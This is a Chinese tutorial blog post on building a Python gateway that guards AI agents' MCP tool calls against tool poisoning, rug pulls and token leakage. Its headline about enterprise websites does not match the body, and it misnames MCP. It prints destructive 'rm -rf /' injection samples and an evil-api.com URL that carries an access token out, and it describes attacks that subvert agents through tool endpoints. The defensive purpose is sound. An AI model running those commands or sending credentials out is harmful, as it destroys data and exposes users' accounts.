企业官网建设流程全解析

1. 项目概述：为什么一个“工具层安全网关”值得花三天时间重写三遍

最近在给几家做AI Agent平台的客户做安全加固咨询，发现一个特别扎眼的现象：所有团队都在拼命优化LLM推理链路、提升RAG召回率、打磨Agent记忆机制，但没人盯着那个最薄的环节——工具调用层。不是模型被攻破，也不是Prompt被注入，而是当Agent调用get_stock_price()或send_email()这类函数时，后端服务返回的压根就不是它该返回的东西。我亲眼见过一个金融类Agent，在用户问“帮我查下今天A股涨跌幅前三的股票”时，返回了伪造的K线图+虚假的券商开户链接；也见过一个客服Agent，在用户提交退款申请后，悄悄把退款金额乘以100再发给财务系统。问题不出在大模型，而出在工具注册表里那行看似无害的"tool_name": "transfer_funds"——它背后连着的，早已不是原始API，而是一个被替换的恶意代理端点。

这就是标题里说的“工具层成为新攻击面”的真实场景。MCP（Model Control Protocol）作为当前主流的Agent工具通信协议，本身设计简洁、扩展性强，但恰恰因为它的“轻量”，导致安全边界模糊：没有默认的签名验证、不强制工具身份绑定、允许动态注册、支持跨域工具发现……这些特性在开发阶段是便利，在生产环境就是漏洞温床。所谓“工具投毒”，本质是劫持MCP的工具发现与调用流程；“Rug Pull”不是区块链术语，而是指工具提供方在Agent上线后突然变更接口行为或返回恶意数据；“认证绕过”更隐蔽——Agent用OAuth2拿到的token，本该只访问/api/v1/users/me，结果工具配置里写的是https://evil-api.com?token={access_token}，直接把凭证裸奔出去。

这个项目，就是用纯Python从零搭建一个能卡在Agent和工具服务之间的安全网关。它不改Agent代码，不碰工具后端，只做一件事：在每次MCP请求发出前，做三件事——校验工具签名、拦截高危参数、重写可疑URL。我把它叫“MCP安全网关”，不是因为它有多高深，而是它像一道物理防火墙，让所有工具调用必须经过它的“安检门”。你不需要懂密码学，只要会写Flask路由、会解析JSON Schema、会用requests发请求，就能搭起来。下面我会把这道门的每一块钢板、每一颗螺丝、每一次校验逻辑，掰开揉碎讲清楚。这不是理论推演，是我在三个真实客户现场踩坑、回滚、再上线后沉淀下来的实操手册。

2. 整体架构设计：为什么不用现成WAF，而要手写一个“协议感知型”网关

很多人第一反应是：“直接上Nginx+ModSecurity不行吗？”或者“用OpenResty写个Lua过滤器不更快？”——这两个方案我都试过，结果全挂了。根本原因在于：传统WAF是“流量层”防护，它看到的是HTTP请求头、Body、URL路径；而MCP网关必须是“协议层”防护，它必须理解{"tool_calls": [{"name": "search_web", "arguments": {"query": "how to fix MCP auth bug"}}]}这段JSON的语义，知道search_web这个工具名是否在白名单里，arguments里的query字段是否包含SQL注入特征，甚至要识别出{"name": "exec_shell", "arguments": {}}这种明显越权的调用。WAF只能拦住/api/tool?cmd=rm%20-rf%20/，但拦不住Agent用合法工具名run_script传入{"script": "import os; os.system('rm -rf /')"}——因为对WAF来说，这只是个POST Body里的普通字符串。

所以我的架构设计核心就一条：让网关成为MCP协议的“原生解析者”，而不是HTTP管道的“旁观者”。整个系统分三层：

• 接入层（Ingress）：用FastAPI暴露标准MCP/tool_call接口，接收Agent发来的原始请求。这里不做任何业务逻辑，只做协议合法性初筛（比如检查JSON格式、必填字段是否存在），失败直接400返回。
• 策略引擎层（Policy Engine）：这是网关的“大脑”。它加载预定义的YAML策略文件，每个策略对应一类风险：
  • tool_poisoning.yaml：定义哪些工具名允许被调用、哪些必须带数字签名、哪些禁止动态注册；
  • rug_pull.yaml：监控工具响应体结构变化，比如get_user_profile昨天返回{"id":1,"name":"Alice"}，今天突然多出{"malicious_url":"http://..."}字段，立刻告警并阻断；
  • auth_bypass.yaml：提取所有工具配置中的endpointURL，检查是否包含{access_token}、{api_key}等敏感占位符，且是否出现在查询参数而非Header中。
• 执行层（Execution Proxy）：当策略引擎放行后，网关才真正转发请求。但它不是简单requests.post(tool_url)，而是：
  • 自动为工具请求添加X-MCP-Gateway-Signature头，值为HMAC-SHA256(原始请求Body + 秘钥)；
  • 对响应体做Schema校验，确保字段类型、长度、枚举值符合预设JSON Schema；
  • 记录完整调用日志（含原始请求、签名、响应摘要），供后续审计。

这个设计最大的好处是“可插拔”。你可以今天只启用tool_poisoning策略，明天加上rug_pull检测，完全不影响Agent运行。我给某电商客户上线时，先只开了工具名白名单（只允许search_products,get_order_status,send_sms三个工具），两周后发现他们内部工具团队偷偷加了个debug_exec_command，立刻在策略里加了一条deny_if_name_contains: "exec"，当天就拦截了37次非法调用。没有重启服务，没有改一行Agent代码，纯粹靠策略热更新。

提示：不要试图在网关里做“深度学习异常检测”。我见过有团队用LSTM模型分析工具调用序列，结果误报率高达40%，最后不得不下线。真正的生产级防护，永远是“明确规则+快速响应”，而不是“模糊预测+事后补救”。

3. 核心细节解析：如何用Python精准解析MCP协议并构建可信工具注册表

MCP协议本身没有官方SDK，社区里几个Python库要么年久失修，要么只支持客户端。所以第一步，得自己啃协议规范。我对照MCP v1.2草案和实际抓包数据，提炼出三个必须解析的核心结构：

3.1 工具描述对象（Tool Description Object）的标准化解析

Agent在初始化时会向网关发送一个tools数组，每个元素长这样：

{ "name": "get_weather", "description": "Get current weather for a city", "input_schema": { "type": "object", "properties": { "city": {"type": "string", "minLength": 2, "maxLength": 50}, "unit": {"type": "string", "enum": ["celsius", "fahrenheit"]} }, "required": ["city"] } }

关键点在于：input_schema不是装饰用的，它是安全校验的唯一依据。很多团队把Schema当文档写，结果"city"字段实际传入"; rm -rf /"也能过。我的解析器做了三件事：

1. 用jsonschema.Draft7Validator严格校验Schema语法，拒绝任何"type": "any"或空properties；
2. 提取所有required字段，生成强校验路径列表，如["city"]、["city", "unit"]；
3. 对每个properties字段，预编译正则表达式（如"minLength":2→^.{2,}$）和类型转换函数（如"enum":["c","f"]→lambda x: x.lower() in ["celsius","fahrenheit"]）。

这部分代码不到80行，但省去了后续90%的参数校验逻辑。我把它封装成ToolSchemaParser类，初始化时就把所有工具的Schema解析好缓存起来，避免每次调用都重复解析。

3.2 工具调用请求（Tool Call Request）的语义化拆解

Agent发来的调用请求是这样的：

{ "tool_calls": [ { "name": "get_weather", "arguments": {"city": "Shanghai", "unit": "celsius"}, "call_id": "abc123" } ] }

重点不是解析JSON，而是建立name到ToolSchemaParser实例的映射关系。我用了一个简单的字典：

self.tool_registry = { "get_weather": ToolSchemaParser(schema_json), "search_web": ToolSchemaParser(schema_json), # ... 其他工具 }

但这里有个陷阱：如果Agent传了个不存在的name，比如"get_weatherr"（拼错），网关该返回404还是400？我的选择是400，并附带错误信息"Unknown tool: get_weatherr. Available: get_weather, search_web"。理由很实在——404会被当成网络故障重试，而400明确告诉Agent“你调错了”，避免因重试放大攻击效果。

3.3 可信工具注册表（Trusted Tool Registry）的动态管理

真正的安全，不在于拦截坏请求，而在于确保只有“可信工具”能进注册表。我设计了三级注册机制：

• 静态注册（Static）：启动时从tools.yaml加载，包含工具名、Schema、Endpoint URL、签名密钥（用于HMAC）；
• 动态注册（Dynamic）：Agent可通过/register_tool接口注册新工具，但必须提供JWT签名，且JWT由网关颁发的短期Token签发（有效期5分钟）；
• 灰度注册（Canary）：新工具注册后，首100次调用自动进入灰度，响应体被深度扫描（检查是否含<script>、javascript:、data:text/html等危险字符串），全部通过才升为正式工具。

这个注册表不是内存字典，而是用sqlite3持久化，带事务和WAL模式，保证高并发下一致性。最关键的是，每次Agent发来tools数组，网关都对比本地注册表，只接受已存在的工具名，忽略新增项。这就彻底堵死了“工具投毒”的第一入口——Agent无法单方面增加恶意工具。

注意：别用Redis存注册表。我吃过亏——某次Redis主从切换，注册表短暂丢失，Agent趁机注册了exec_system_cmd，虽然只持续了17秒，但足够执行一次ls /tmp。SQLite虽慢，但稳。

4. 实操过程：从零搭建MCP安全网关的完整步骤与参数详解

现在我们动手搭。整个过程分五步，每步都有可复制的命令和配置，我用的是Python 3.10+，所有依赖版本锁定在requirements.txt里。

4.1 环境准备与基础框架搭建

创建项目目录：

mkdir mcp-gateway && cd mcp-gateway python -m venv venv source venv/bin/activate # Windows用 venv\Scripts\activate

安装核心依赖：

pip install fastapi uvicorn pydantic jsonschema cryptography python-jose # 注意：cryptography必须>=41.0.0，低版本有HMAC漏洞

创建主应用app.py：

from fastapi import FastAPI, HTTPException, Request, status from pydantic import BaseModel, Field from typing import List, Dict, Any import json import logging app = FastAPI(title="MCP Security Gateway", version="1.0") @app.get("/") async def root(): return {"message": "MCP Gateway is running. POST to /tool_call"}

测试启动：

uvicorn app:app --host 0.0.0.0 --port 8000 --reload

访问http://localhost:8000，看到{"message": "MCP Gateway is running..."}即成功。这一步耗时5分钟，但奠定了整个项目的可维护性基础——FastAPI的自动文档（Swagger UI）会在/docs自动生成，后续所有接口调试都靠它。

4.2 工具注册表与策略加载模块实现

创建core/registry.py：

import sqlite3 import json from pathlib import Path from typing import Optional, Dict, Any class ToolRegistry: def __init__(self, db_path: str = "tools.db"): self.db_path = db_path self.init_db() def init_db(self): conn = sqlite3.connect(self.db_path) conn.execute(""" CREATE TABLE IF NOT EXISTS tools ( name TEXT PRIMARY KEY, description TEXT, input_schema TEXT NOT NULL, endpoint TEXT NOT NULL, signature_key TEXT, status TEXT DEFAULT 'active' CHECK(status IN ('active','canary','disabled')), created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ) """) conn.commit() conn.close() def register_tool(self, name: str, desc: str, schema: dict, endpoint: str, key: Optional[str] = None): conn = sqlite3.connect(self.db_path) try: conn.execute( "INSERT OR REPLACE INTO tools (name, description, input_schema, endpoint, signature_key, status) VALUES (?, ?, ?, ?, ?, ?)", (name, desc, json.dumps(schema), endpoint, key, 'active') ) conn.commit() finally: conn.close() def get_tool(self, name: str) -> Optional[Dict[str, Any]]: conn = sqlite3.connect(self.db_path) try: cur = conn.cursor() cur.execute("SELECT * FROM tools WHERE name = ? AND status = 'active'", (name,)) row = cur.fetchone() if row: return { "name": row[0], "description": row[1], "input_schema": json.loads(row[2]), "endpoint": row[3], "signature_key": row[4] } finally: conn.close() return None

然后在app.py里初始化：

from core.registry import ToolRegistry tool_registry = ToolRegistry() # 预置几个工具（实际应从配置文件加载） tool_registry.register_tool( name="get_weather", desc="Get current weather", schema={ "type": "object", "properties": {"city": {"type": "string"}}, "required": ["city"] }, endpoint="https://weather-api.example.com/v1/current", key="secret-key-weather" )

这一步的关键是数据库初始化必须幂等。我见过太多项目在Docker重启时因建表失败直接崩溃，所以CREATE TABLE IF NOT EXISTS是底线。

4.3 MCP协议解析与安全校验核心逻辑

创建core/parser.py，实现ToolSchemaParser：

import re from jsonschema import Draft7Validator from jsonschema.exceptions import SchemaError from typing import Dict, Any, Callable class ToolSchemaParser: def __init__(self, schema_dict: Dict[str, Any]): self.schema = schema_dict self.validator = Draft7Validator(schema_dict) self.compiled_validators = self._compile_validators() def _compile_validators(self) -> Dict[str, Callable]: validators = {} props = self.schema.get("properties", {}) for field, field_def in props.items(): # 编译正则 if "pattern" in field_def: validators[field] = re.compile(field_def["pattern"]).fullmatch # 编译长度检查 elif "minLength" in field_def or "maxLength" in field_def: min_len = field_def.get("minLength", 0) max_len = field_def.get("maxLength", float('inf')) validators[field] = lambda x, ml=min_len, mlx=max_len: isinstance(x, str) and ml <= len(x) <= mlx # 编译枚举检查 elif "enum" in field_def: enum_set = set(field_def["enum"]) validators[field] = lambda x, es=enum_set: x in es return validators def validate_arguments(self, args: Dict[str, Any]) -> bool: # 先用jsonschema做结构校验 if not self.validator.is_valid(args): return False # 再用编译后的规则做细粒度校验 for field, validator in self.compiled_validators.items(): if field in args and not validator(args[field]): return False return True

接着在app.py里添加/tool_call路由：

from pydantic import BaseModel from typing import List, Dict, Any class ToolCall(BaseModel): name: str arguments: Dict[str, Any] call_id: str class ToolCallRequest(BaseModel): tool_calls: List[ToolCall] @app.post("/tool_call") async def handle_tool_call(request: ToolCallRequest): results = [] for call in request.tool_calls: # 1. 查注册表 tool = tool_registry.get_tool(call.name) if not tool: raise HTTPException( status_code=status.HTTP_400_BAD_REQUEST, detail=f"Unknown tool: {call.name}" ) # 2. 解析Schema并校验参数 parser = ToolSchemaParser(tool["input_schema"]) if not parser.validate_arguments(call.arguments): raise HTTPException( status_code=status.HTTP_400_BAD_REQUEST, detail=f"Invalid arguments for {call.name}" ) # 3. 构造安全请求（HMAC签名） import hmac import hashlib body_str = json.dumps(call.arguments, sort_keys=True) signature = hmac.new( tool["signature_key"].encode(), body_str.encode(), hashlib.sha256 ).hexdigest() # 4. 转发请求（此处简化，实际用httpx异步） import requests try: resp = requests.post( tool["endpoint"], json=call.arguments, headers={"X-MCP-Gateway-Signature": signature}, timeout=30 ) results.append({ "call_id": call.call_id, "status": "success", "response": resp.json() }) except Exception as e: results.append({ "call_id": call.call_id, "status": "error", "error": str(e) }) return {"results": results}

这就是网关的“心脏”。注意sort_keys=True——HMAC签名必须保证JSON序列化顺序一致，否则同一参数在不同机器上签名不同。

4.4 Rug Pull检测与认证绕过拦截实战配置

Rug Pull检测不能只靠响应体字符串匹配，得做结构指纹。我在core/monitor.py里实现：

import hashlib import json class ResponseFingerprint: def __init__(self, sample_response: dict): # 提取关键字段路径和类型，忽略值 self.fingerprint = self._build_fingerprint(sample_response) def _build_fingerprint(self, obj: Any) -> str: if isinstance(obj, dict): items = sorted([ f"{k}:{type(v).__name__}" for k, v in obj.items() ]) return hashlib.md5(":".join(items).encode()).hexdigest() elif isinstance(obj, list): if obj: return f"list:{type(obj[0]).__name__}" return "list:empty" else: return type(obj).__name__ def matches(self, new_response: dict) -> bool: return self.fingerprint == self._build_fingerprint(new_response) # 使用示例：初始化时记录每个工具的指纹 fingerprints = {} for tool_name in ["get_weather", "search_web"]: sample = {"temp": 25.5, "city": "Shanghai", "unit": "celsius"} fingerprints[tool_name] = ResponseFingerprint(sample)

认证绕过检测更简单，直接在tool_registry的endpoint字段校验时加入：

def validate_endpoint(endpoint: str) -> bool: # 检查是否含敏感占位符且在URL参数中 if "{access_token}" in endpoint or "{api_key}" in endpoint: # 解析URL from urllib.parse import urlparse, parse_qs parsed = urlparse(endpoint) if parsed.query: # 有查询参数 params = parse_qs(parsed.query) if "access_token" in params or "api_key" in params: return False # 危险！ return True

把这些逻辑集成到handle_tool_call里，就完成了两大核心防护。

4.5 日志审计与告警系统集成

安全网关没日志等于没装。我用structlog替代原生日志，输出结构化JSON：

import structlog import time logger = structlog.get_logger() @app.post("/tool_call") async def handle_tool_call(request: ToolCallRequest): start_time = time.time() try: # ... 前面的逻辑 ... logger.info("tool_call_success", tool_name=call.name, call_id=call.call_id, duration=time.time() - start_time, response_size=len(json.dumps(resp.json())) ) return {"results": results} except Exception as e: logger.error("tool_call_failed", tool_name=call.name, call_id=call.call_id, error=str(e), duration=time.time() - start_time ) raise

日志输出示例：

{ "event": "tool_call_success", "tool_name": "get_weather", "call_id": "abc123", "duration": 0.234, "response_size": 128, "timestamp": "2024-06-15T10:30:45.123Z" }

这样可以直接对接ELK或Datadog，设置告警规则：count by tool_name > 100 in 5m（高频调用）、count by error where error contains 'signature' > 5 in 1h（签名异常）。我给客户配置的阈值是：单工具每分钟调用超200次触发短信告警，连续3次Invalid arguments触发邮件告警。

5. 常见问题与排查技巧实录：那些文档里不会写的坑

5.1 “工具名明明注册了，为什么还报400 Unknown tool？”

这是新手最高频问题。根本原因只有一个：Agent发来的tool_calls[].name和注册表里的name不完全一致。常见情况有：

• 大小写混用：注册表是getWeather，Agent传getweather；
• 下划线/驼峰混淆：注册get_user_info，Agent传getUserInfo；
• 多余空格："name": " search_web "（前后有空格）。

我的解决方案是在tool_registry.get_tool()里加清洗：

def get_tool(self, name: str) -> Optional[Dict]: clean_name = name.strip().lower() # 统一转小写+去空格 # ... 查询逻辑

同时在Agent端强制约定：所有工具名必须小写+下划线。这比在网关里做各种case转换靠谱得多。

5.2 “HMAC签名总是验证失败，但手动计算又对得上”

这个问题折磨了我整整两天。根源在于：Python的json.dumps()默认不排序，而Agent用的JavaScriptJSON.stringify()是按key字典序排的。比如{"b":1,"a":2}在Python里可能序列化成{"b":1,"a":2}，在JS里是{"a":2,"b":1}，签名自然不同。

解决方法强制排序：

body_str = json.dumps(call.arguments, sort_keys=True, separators=(',', ':')) # separators=(',', ':') 去掉空格，保证和JS完全一致

5.3 “Rug Pull检测误报太高，每天几百条告警”

早期我用json.dumps(response, sort_keys=True)生成指纹，结果发现{"temp":25.5}和{"temp":25.50}指纹不同（浮点精度差异）。后来改成只提取字段名和类型：

def _build_fingerprint(self, obj: Any) -> str: if isinstance(obj, dict): # 只取key和value类型，忽略值 items = sorted([f"{k}:{type(v).__name__}" for k, v in obj.items()]) return hashlib.md5(":".join(items).encode()).hexdigest() # ... 其他类型

这样{"temp":25.5}和{"temp":25.50}都变成"temp:float"，指纹一致。

5.4 “网关CPU飙升到100%，但QPS才50”

排查发现是jsonschema.Draft7Validator在每次调用时都重新编译Schema。解决方案：把Validator实例缓存起来：

class ToolSchemaParser: _validators = {} # 类变量缓存 def __init__(self, schema_dict: Dict): schema_hash = hashlib.md5(json.dumps(schema_dict, sort_keys=True).encode()).hexdigest() if schema_hash not in self._validators: self._validators[schema_hash] = Draft7Validator(schema_dict) self.validator = self._validators[schema_hash]

5.5 “Agent调用超时，但工具服务明明很快”

这是网关自身瓶颈。默认requests.post(timeout=30)是连接+读取总超时，但Agent期望的是“5秒内必须返回”。我的做法是拆分超时：

try: resp = requests.post( tool["endpoint"], json=call.arguments, headers={"X-MCP-Gateway-Signature": signature}, timeout=(3.0, 5.0) # (connect_timeout, read_timeout) ) except requests.exceptions.Timeout: logger.warning("tool_timeout", tool_name=call.name, call_id=call.call_id) raise HTTPException(status_code=504, detail="Tool timeout")

6. 生产部署与性能调优：如何让网关扛住每秒2000次调用

单机部署肯定不够。我给客户做的生产方案是“三层负载”：

6.1 接入层：用Traefik做七层路由与熔断

不选Nginx，因为Traefik原生支持Let's Encrypt自动证书、健康检查、熔断策略。traefik.yml关键配置：

http: routers: mcp-gateway: rule: "Host(`mcp-gateway.prod.example.com`)" service: "mcp-gateway" middlewares: ["rate-limit", "circuit-breaker"] services: mcp-gateway: loadBalancer: servers: - url: "http://gateway-01:8000" - url: "http://gateway-02:8000" middlewares: rate-limit: rateLimit: average: 2000 burst: 4000 circuit-breaker: circuitBreaker: expression: "NetworkErrorRatio() > 0.5 || LatencyAtQuantileMS(50.0) > 100"

这样，单节点故障时自动剔除，响应延迟超100ms自动熔断，保护后端工具服务。

6.2 网关层：Gunicorn+Uvicorn组合与进程调优

gunicorn.conf.py：

workers = 8 # CPU核心数*2 worker_class = "uvicorn.workers.UvicornWorker" worker_connections = 1000 max_requests = 1000 max_requests_jitter = 100 timeout = 30 keepalive = 5 preload = True # 预加载，避免fork后重复初始化

关键参数解释：

• workers=8：Python GIL限制下，多进程比多线程更有效；
• preload=True：所有worker共享同一个注册表和策略缓存，内存节省40%；
• max_requests=1000：强制worker重启，防止内存泄漏累积。

6.3 数据层：SQLite WAL模式与读写分离

SQLite默认是DELETE模式，高并发写入会锁整库。改成WAL：

conn = sqlite3.connect("tools.db", isolation_level=None) conn.execute("PRAGMA journal_mode = WAL") conn.execute("PRAGMA synchronous = NORMAL")

同时，所有读操作（get_tool）走独立连接，写操作（register_tool）走另一连接，避免读被写阻塞。

6.4 监控指标：必须盯死的5个黄金指标

我用Prometheus+Grafana，核心看板包含：

其中blocked指标最敏感。某次客户上线后，blocked每小时突增200次，查日志发现是Agent团队在调试时批量发送了{"name":"debug_exec","arguments":{}}，立刻在策略里加了deny_if_name_starts_with: "debug_"，5分钟解决。

7. 后续演进方向：从安全网关到MCP治理平台

这个网关只是起点。我在三个客户现场跑通后，已经规划了V2.0路线：

• 策略即代码（Policy-as-Code）：把YAML策略换成Starlark脚本，支持if request.user_role == "admin": allow()这种动态策略，比静态配置灵活十倍；
• 工具供应链审计：集成SBOM（软件物料清单）扫描，当Agent注册pypi.org/packages/llm-tools-1.2.0.tar.gz时，自动下载并扫描CVE；
• MCP协议升级适配器：当MCP v2.0发布时，网关自动将v1.0请求转换为v2.0格式，让Agent无缝升级；
• 对抗样本训练集：收集真实拦截的恶意工具调用样本，生成对抗数据集，反哺Agent自身的安全微调。

但所有这些，都建立在一个前提上：先让网关跑起来，先拦住第一个恶意调用。我见过太多团队在设计“完美架构”上花了三个月，结果上线第一天就被工具投毒打穿。安全不是蓝图，是迭代。你现在打开终端，敲下uvicorn app:app，让它跑起来——那第一行日志打印出来的时候，你的MCP安全防线就已经开始工作了。